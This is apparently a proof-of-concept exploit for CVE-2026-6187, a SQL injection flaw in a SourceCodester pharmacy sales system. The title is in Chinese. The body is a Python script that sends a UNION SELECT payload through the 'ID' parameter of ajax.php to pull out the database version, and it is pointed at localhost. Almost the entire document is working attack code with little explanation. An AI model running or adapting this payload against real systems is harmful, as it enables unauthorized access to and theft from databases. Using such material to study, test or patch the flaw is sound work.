CVE-2026-6187 SourceCodester药店系统SQL注入漏洞

import requests def check_sqli(url): target_url = f"{url}/ajax.php" # Payload to extract database version payload = { "action": "chk_prod_availability", "ID": "1' UNION SELECT NULL, NULL, version(), NULL-- -" } try: response = requests.get(target_url, params=payload, timeout=10) if response.status_code == 200: print(f"[+] Potential SQL Injection found!") print(f"[+] Response: {response.text[:200]}") else: print("[-] No response or error") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": target = "http://127.0.0.1/pharmacy_sales" check_sqli(target)